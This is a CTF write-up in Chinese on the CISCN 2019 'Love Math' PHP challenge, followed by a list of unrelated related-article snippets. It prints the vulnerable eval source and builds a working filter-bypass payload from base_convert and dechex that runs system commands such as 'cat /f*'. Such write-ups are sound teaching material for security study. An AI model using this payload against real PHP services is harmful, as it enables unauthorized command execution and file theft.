[CISCN 2019初赛]Love Math 详细题解

embedded/2024/11/23 9:28:11/

知识点:

数学函数转换字符串
GET传参外部赋值
eval()函数解析执行命令
PHP动态调用函数名

源码:

php"> <?php
error_reporting(0);
//听说你很喜欢数学,不知道你是否爱它胜过爱flag
if(!isset($_GET['c'])){show_source(__FILE__);
}else{//例子 c=20-1$content = $_GET['c'];if (strlen($content) >= 80) {die("太长了不会算");}$blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]'];foreach ($blacklist as $blackitem) {if (preg_match('/' . $blackitem . '/m', $content)) {die("请不要输入奇奇怪怪的字符");}}//常用数学函数http://www.w3school.com.cn/php/php_ref_math.asp$whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs);  foreach ($used_funcs[0] as $func) {if (!in_array($func, $whitelist)) {die("请不要输入奇奇怪怪的函数");}}//帮你算出答案eval('echo '.$content.';');
}

代码审计:

看到最后的  eval('echo '.$content.';');  代码,可以通过eval()函数执行命令,那么目的就是命令执行得到flag

然后看代码的细节,接收一个get传入的参数c,并且参数c的长度不能超过80,还不能在黑名单

$blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]']; 里面   不能含有空格 \t \r \n 单双引号 中括号[]

又给出了一个白名单,里面是很多的数学函数,然后进行正则匹配,得到的结果赋值给$used_funcs

$used_funcs[0] 包含了所有完整的匹配字符串,$used_funcs[0] 里面的所有数据都要在白名单中

php">preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs);

正则表达式中  \x7f-\xff  匹配 ASCII 值从 127 到 255 的字符

所以作用是从 $content 中找出所有以字母或下划线或者ASCII 值从 127 到 255 的字符作为开头,后面跟随任意数量的字母、数字、下划线或ASCII 127-255的字符串序列,并将它们收集到 $used_funcs 数组中

目的是命令执行,但是前提是$used_funcs[0]数组中的每个数据必须在白名单中,而白名单中没有命令执行函数例如system,那么问题就是如何构造system函数和命令

在PHP中,可以使用变量来存储函数名,然后通过这个变量来调用相应的函数

例如在windows中,可以像下面这样调用system函数,用dir 输出目录信息

php"><?php  
$a='system';
$a('dir');

所以既然对参数c进行了很多限制,而且对长度也有要求,那么可以通过外部赋值绕开这些限制

外部赋值可以用$_GET[]接收外面的参数,所以格式可以是

php">?c=($_GET[a])($_GET[b])&a=system&b=ls

简单实践一下,利用下面的代码演示, 在windows中用dir来表示列出当前目录

php"><?php
error_reporting(0);
highlight_file(__FILE__);
$content = $_GET['c'];
echo $_GET['c']."\n";eval($content.';');

可以看到这样执行命令是没有问题的,这里题目是PHP7的环境, $_GET[a]两边的()可以不加,但是在PHP5中不能有这对括号

格式有了,接下来就是考虑如何构造出来

_GET 以及 [] 都会被匹配,所以需要替换,$content长度不能超过80,所以选择白名单中最短的两个函数作为外部赋值的参数名,这里就用pi 和 pow

中括号[] 可以用 {} 来替代, _GET 用白名单中的数学函数转换得到

数学函数转换

hex2bin() 函数把十六进制值的字符串转换为 ASCII 字符,就可以通过构造字符串转换为GET传参格式
但是这里hex2bin()不在白名单中,还需要通过白名单中的函数构造出来

base_convert:  用于在不同的进制之间转换数字
base_convert(37907361743,10,36)  将十进制数 37907361743 转换为三十六进制,在三十六进制中,数字超过 9 后会使用字母 A-Z 表示 10 到 35
因此base_convert(37907361743,10,36) 表示的就是  "hex2bin"

这里的括号()和 逗号, 都不会进入匹配  37907361743 10 36 也不会,因为没有以字母或者_或者指定ASCII字符开头的字串
把_GET 字符串转换为16进制格式, 得到 hex2bin(5f474554)  转换完就是 _GET
但是5f 47 45 54会被匹配到,因为存在以字母开头的子字符串f474554

因此 5f 47 45 54可以用白名单中的dechex()函数将10进制数转换为16进制的数
dechex(1598506324)    1598506324转换为16进制就是 5f 47 45 54

经过一系列转换,得到

hex2bin(5f474554)   ->   base_convert(37907361743,10,36)(dechex(1598506324))

base_convert(37907361743,10,36)(dechex(1598506324)) 也就是_GET

接下来赋值传参即可

php">?c=$pi=base_convert(37907361743,10,36)(dechex(1598506324));($$pi{pi})($$pi{pow})&pi=system&pow=ls

参数c的值是后面的一大串,里面有分号;隔开,经过eval()函数也就是相当于解析执行两条命令,会先解析$pi的值, 也就是得到$pi=_GET

然后执行后面的($_GET[pi])($_GET[pow])&pi=system&pow=ls  最后输出整个的结果

根目录下发现flag文件 查看即可

php">?c=$pi=base_convert(37907361743,10,36)(dechex(1598506324));($$pi{pi})($$pi{pow})&pi=system&pow=cat /f*


http://www.ppmy.cn/embedded/139818.html

相关文章

第十章Javascript的应用

10.1 JavaScript概述 10.1.1 JavaScript简介 JavaScript是一种基于对象(0bject)和事件驱动(Event Driven)并具有安全性能的脚本语言&#xff0c;能够与HTML(超文本标记语言)、Java语言一起在Web页面中与Web客户交互它无须经过先将数据传给服务器端(Server)、再传回来的过程&…

使用TensorFlow实现简化版 GoogLeNet 模型进行 MNIST 图像分类

在本文中&#xff0c;我们将使用 TensorFlow 和 Keras 实现一个简化版的 GoogLeNet 模型来进行 MNIST 数据集的手写数字分类任务。GoogLeNet 采用了 Inception 模块&#xff0c;这使得它在处理图像数据时能更高效地提取特征。本教程将详细介绍如何在 MNIST 数据集上训练和测试这…

redis工程实战介绍(含面试题)

文章目录 redis单线程VS多线程面试题**redis是多线程还是单线程,为什么是单线程****聊聊redis的多线程特性和IO多路复用****io多路复用模型****redis如此快的原因** BigKey大批量插入数据测试数据key面试题海量数据里查询某一固定前缀的key如果生产上限值keys * &#xff0c;fl…

egrep grep 区别

‌egrep 和 grep 的主要区别在于对正则表达式的支持。 -rwxr-xr-x 1 root root 28 Jan 29 2020 /bin/egrep -rwxr-xr-x 1 root root 199136 Jan 29 2020 /bin/grep 1e6ebb9dd094f774478f72727bdba0f5 /bin/grep ef55d1537377114cc24cdc398fbdd930 /bin/egrep 区别 gre…

js中new操作符具体都干了什么?

在JavaScript中&#xff0c;new操作符是一个用于创建对象实例的关键字&#xff0c;它背后的机制相当复杂&#xff0c;但以下是它执行的主要步骤&#xff1a; new操作符的工作原理&#xff1a; 创建一个全新的空对象&#xff1a;首先&#xff0c;JavaScript会创建一个全新的对象…

vue3 + elementPlus 日期时间选择器禁用未来及过去时间

<el-date-pickerv-model"form.jyTime"type"datetime"placeholder"请选择加油时间"format"YYYY/MM/DD HH:mm:ss"value-format"YYYY-MM-DD HH:mm:ss":disabled-date"disabledDate"/> 一、禁用未来时间 /** 时…

基础自动化系统的任务

基础自动化系统的任务主要包括实现自动控制、提高生产效率、减少人工干预等。以下是其具体任务的相关介绍&#xff1a; 实现自动控制 控制机器设备&#xff1a;基础自动化系统通过预设的程序和逻辑规则&#xff0c;对机器或设备进行自动控制和运行。执行特定任务&#xff1a;这…

java基础(一):JDK、JRE、JVM、类库等概念,java跨平台实现原理

目录 1、基本概念 2、程序运行过程 3、java跨平台原理 1、基本概念 JVM&#xff1a;虚拟机&#xff0c;真正运行java程序的地方 核心类库&#xff1a;java自己写好的程序&#xff0c;给程序员自己调用的&#xff0c;例如System.out.println()&#xff0c;调用的就是 核心…